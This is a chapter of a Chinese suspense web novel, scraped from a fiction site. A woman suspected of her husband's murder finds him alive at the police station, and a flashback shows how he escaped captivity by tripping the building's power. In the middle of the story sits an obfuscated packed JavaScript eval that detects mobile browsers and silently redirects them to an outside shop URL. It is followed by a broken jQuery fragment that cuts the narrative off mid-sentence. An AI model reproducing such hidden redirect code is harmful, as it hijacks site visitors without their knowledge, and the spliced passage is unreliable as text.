文趣网 > 都市小说 > 今日难越[悬疑] > 55. 第 55 章
    蒋今越曾经幻想过自己在死前再见到易峥的场景,也许是在警方出示证据过程时翻出了他的照片,亦或是在死亡前走马灯的幻境里看到那张熟悉的脸,可从没想到推开审讯室门的那个瞬间,活着的易峥会再出现在自己的面前。

    易峥坐在桌子面前,听到开门的声响后也转过身来,四目相对,两人都愣在原地,定定地看着视野里的身影,蒋今越难以置信地确认着眼前的人。

    脸,头发,身型,轮廓,最后落在那双充斥着复杂情绪的眼睛上,看着里面的心疼逐渐压过了惊喜。

    “抱歉,让你受苦了。”

    男人站了起来,他冲自己的爱人张开了双臂。就好像这些日子和过去一样,只不过是一次短暂的分离,她出门去野外科考,或是他出了个长长的差。

    如此温馨的一幕,可那个瞬间,蒋今越的第一感受不是欣喜,而是恐惧。

    她想,她终于彻头彻尾的疯了,像彭雨一样,这是只有她一人能看到的幻觉。

    身旁的聂涛看到她的表情,轻轻拍了她的背一下:“去吧,别不相信你的眼睛。”

    她尝试着往前走了一步,可失魂落魄的她觉得双腿像灌满了水泥,让她难以维持身体的平衡,踉踉跄跄,像是走在一团棉花里,几乎跌倒,幸好眼前的人虽然形销骨立,却还是接住了她,带着失而复得的珍重,把她紧紧地抱进怀中。

    蒋今越终于对眼前的人有了实感,紧密相贴的肌肤,不同于自己的体温,用力又怕太过用力会伤害到她的手臂,甚至不停震荡着的心跳都在证明着这个人的存在。

    他没死。

    意识到这一点之后,蒋今越终于抛却了所有的疑虑,紧绷的身躯松弛下来,这才把头埋进了易峥的肩窝里,感受到透过衣服传来的炽热湿润后,抱住她的手臂松开了些,安抚性地轻拍着她的背。

    熟悉的声音响起:“别怕,我回来了。”

    过了一会,刚刚自觉转过身去的聂涛见两人还黏在一起,没忍住咳了两声:“那什么,我们局长马上就过来了,还要麻烦你们再配合下我们的工作。”

    理智恢复了点,两人分开,但蒋今越的眼睛还是忍不住地看她,似乎下一秒这人就会再次消失在自己的视野里。

    跟记忆里相比,眼前的易峥瘦太多了,显得有点弱不禁风,许久未经打理的头发长了不少,几乎留到了肩膀,皱巴巴的病号服大了好几号,脏得像是在泥地里滚了一遭,用狼狈这个词来形容现在的他最为合适。可哪怕是这幅模样,他的眼神依旧是明亮炽热的,不管是谁看到他都很难产生厌弃的情绪。

    看着这样的易峥,疑惑逐渐占据了冷静下来的脑海。

    蒋今越拧着眉问:“这阵子,你到底去哪了?”

    “其实,我也不能完全理解现在到底发生了什么。”易峥叹气,回想起自己这段时间的经历,摇了摇头。从被囚禁的地方出来后,警察送易峥到附近的医院里休养了几天,顺便配合录口供,他才知道这段时间原来发生了这么多事,而他在里面的那段日子,除了要面对饥饿外并没有其他难题。

    *

    一切都要从四天前开始说起。

    易峥从天亮等到天黑,头一次没能等到今天的伙食。幸好平日里他早已习惯了未雨绸缪,哪怕对方的投递食物的频率向来稳定,他也会把原本就为数不多的食物留下一部分,为自己预留足够支撑他三天活动的食物。

    也正因如此,这一天的饥饿对于此刻的他来说不算什么难题。可这并没有减轻易峥一丝一毫的忧虑,反而让他愈发忧心忡忡。

    一直以来,都有一个问题像达摩克利斯之剑一样挂在他的头顶,那就是被绑架的自己究竟要在这里待到什么时候?

    通常来说,绑架是为了向家属勒索钱财,所以受害者才会暂时活着。一旦绑匪提出的要求不被满足,他随时面临着被撕票的危险,因此最开始的几天,易峥早就做好了随时有人冲进来把自己五马分尸的准备。但随着在这里待的时间越来越久,他开始不确定了。

    复仇?易峥首先划掉了这个词。

    对方最想要的不是他的性命,否则自己根本没办法在昏迷之后再睁开眼睛。与此同时,也没有人通过各种方式折磨他,如果是复仇的话,他就算还活着,也远不能活得如此体面。

    绑架?犹豫了许久,易峥还是否认了。

    通常来说,绑架大部分是为了图钱。绑匪为了逼迫家属打钱会频繁通过通话或者视频的方式向对方证明受害者在自己手中,而不是像现在这样,只是偶尔出现在门外确认他是否还活着,连话都不说。

    想来想去,易峥得出的答案是对方只是单纯想让自己从外面的世界消失,像是在玩一个捉迷藏的恶作剧。

    可是下一个问题开始折磨他——如果是这样的话,为什么现在还没有人来找他?

    是根本没人发现他的消失,还是所有人都坦然接受了他的失踪,又或者是对方的手段实在太过高明,始终没人能够破解。如果这样的话,他又要在这里待上多久?对方总不可能就这样养自己一辈子吧。

    这是一场漫长却不怎么残酷的凌迟,他的生死完全由对方主宰。

    也许对方只是简单地在给他的死亡选一个良辰吉日,易峥想。

    很显然,这个时刻要到来了。

    第二天的易峥从天亮等到天黑,依旧没能等到食物。

    他不知道这变化背后的原因,是对方觉得他是时候去死了,还是说发生了什么其他意外?对方再也无暇顾及。但其实这并不重要,重要的是他在这地方能做什么。

    易峥看着自己积蓄的口粮,那是三块普通饼干和半块吃剩的牛肉,维持不了多久,他清楚地意识到,继续节衣缩食没有意义,之前那么久都无人发觉他的存在,这短短几天更不可能,于是他毫不犹豫地把硕果仅存的储备粮给吞了下去。

    过了没多久,躯干久违地恢复了力气,头脑也再次清明。

    易峥意识到,他得做点什么,哪怕只有一丁点的希望。可看着昏暗的四周,他又再次意识到,自己什么都做不到。

    那扇门他试了很久,甚至找来铁片试过,都没能打开,那扇窗户他哪怕站在床上也够不到。他实在想不到自己该如何从房间里离开。

    直到一个瞬间,他的脑海里蹿出一个念头……如果,他让别人来找他呢,哪怕来找自己的那个人是一切的罪魁祸首,那也总有一线生机,总比现在坐以待毙强。

    大声喊叫他早试过了,没人听得见,但这地方绝不是荒无人烟的居所,他有时甚至能听得见汽车鸣笛的声音,这也就意味着,附近一定有人在正常生活。

    于是他跑到小隔间的洗手池,用牛肉的真空包装接了点水,然后狠狠地泼向房间里的插座,然而毫无反应。

    易峥没放弃,他觉得或许是不够多,再次重复。他双手乏力,这次甚至没能对准。

    他咬着牙,来回反复。

    一次,又一次。

    终于,插座中央闪了一下火花。窗外一下子暗下去,建筑外体的灯灭了,整个房间里连一丝昏暗的光都没了。

    成了,易峥大喜过望。

    等第二天工程师来检修,一一排查可能出现问题的地方,就大概率会找到自己。

    快要离开的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752363|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    喜悦支撑着他,然而他等了一天,却始终没能等到人来,反而等来了窗外再次亮起的灯。他绝望地意识到,对方大概根本没发现什么异样,只是简单地把开关再次推了上去。

    ……那就再来。

    易峥咬着牙,再次如法炮制,做了跟昨天一模一样的事。他发了狠心,一天不行就两天,两天不行就三天,这地方天天跳闸,他不信这帮人还能在这里过下去。只不过弹尽粮绝的现在,他能支撑几天?易峥刻意不去想这个问题。

    等待的时候,他就躺着节省体力,可那时间实在太久太无聊,他渐渐地陷入一个介于昏迷与睡眠之间的状态,他神志迷糊不清,一会跳跃到回家和蒋今越一起吃饭,一会看到自己在单位手术,一会睁开眼,发现自己还在原地没动。

    于是当那扇门真的被打开的时候,他也难以分辨到底是他的梦境,还是事实,只记得凑过来的那个人大喊了一声。

    “活着!他还活着!”

    再然后,就到了现在。

    被打了针葡萄糖的易峥被带到警局后才知道自己早就是个“死人”,甚至杀死自己的嫌疑犯还是自己的妻子,要不是他身体虚弱,他简直都想大喊你们在开什么玩笑。可在知道指控自己妻子的人就是他的父母时,他却又无话可说。

    他把自己的经历一五一十地告诉了那个姓曹的警察,他不喜欢那人的眼神,一下午都拿着质疑的目光看他。一想到这段时间,他就是拿这种眼神审视蒋今越的,易峥就觉得胸闷。

    说到底,她这段时间受的罪都是因为他。

    审讯室里两人并排坐着等曹军来,易峥没忍住又拉了下蒋今越的手。

    “怎么了?”蒋今越看他。

    易峥正想说话,聂涛又跟着曹军进来了,这位向来刚毅的男人罕见地露出了点迷茫的情绪,但在他们面前还是很快就遮掩住了,重新恢复一张铁面:“笔录已经做完,二位可以请回了,如果有需要配合的,我们后面还会再联系你们,麻烦注意接听电话。”

    “我可以走了?”蒋今越怔住了。

    “对,你们可以离开了。”曹军避开了她的眼神,往后退了一步,把空间让给后面的聂涛,“这些日子感谢蒋女士的配合,小聂送送。”

    蒋今越似梦似醒地往外走,易峥也不比她好到哪去,并排走着的两人手指无意间蹭了一下,易峥随即抓住了她的手。

    门一打开,耀眼的阳光倾泻而下,照亮了整个世界。隔壁的奶茶店在循环着流行歌曲,三四个外卖员坐在门口刷手机等待着被叫号,不远处几个女学生在公交车站交头接耳,像是在说什么八卦,再远的地方是个路口,公交、汽车、电动车、自行车、行人等待着红绿灯,时不时响起车笛。

    这一切的一切,是生活中最平凡普通不过的日复一日。

    然而看着这如此普通的一幕,蒋今越的视线却开始模糊,泪水也不由自主地流了下来,她忍不住侧头看向身边的人,易峥也看着她,她知道,在这个瞬间,他们心中大概流淌着同一个念头。

    这一切终于结束了。

    *

    “你不去见见他们?告个别。”端着浓茶的老程掀了下盖,悠闲自得地走到了丁胜男旁边,不由自主地赞叹了声,“啧啧,新茶就是香。”

    “用不着,人小两口久别重逢,我去当什么电灯泡。”丁胜男把视线从楼下的两个人挪开,为表决心,还拉了下窗帘,隔绝自己的视线。

    “你知道这个就行。”

    老程笑眯眯的,顺道把窗帘之间最后的一道缝也拉上了。

    蒋今越和易峥走了,可他们的工作还没完全结束。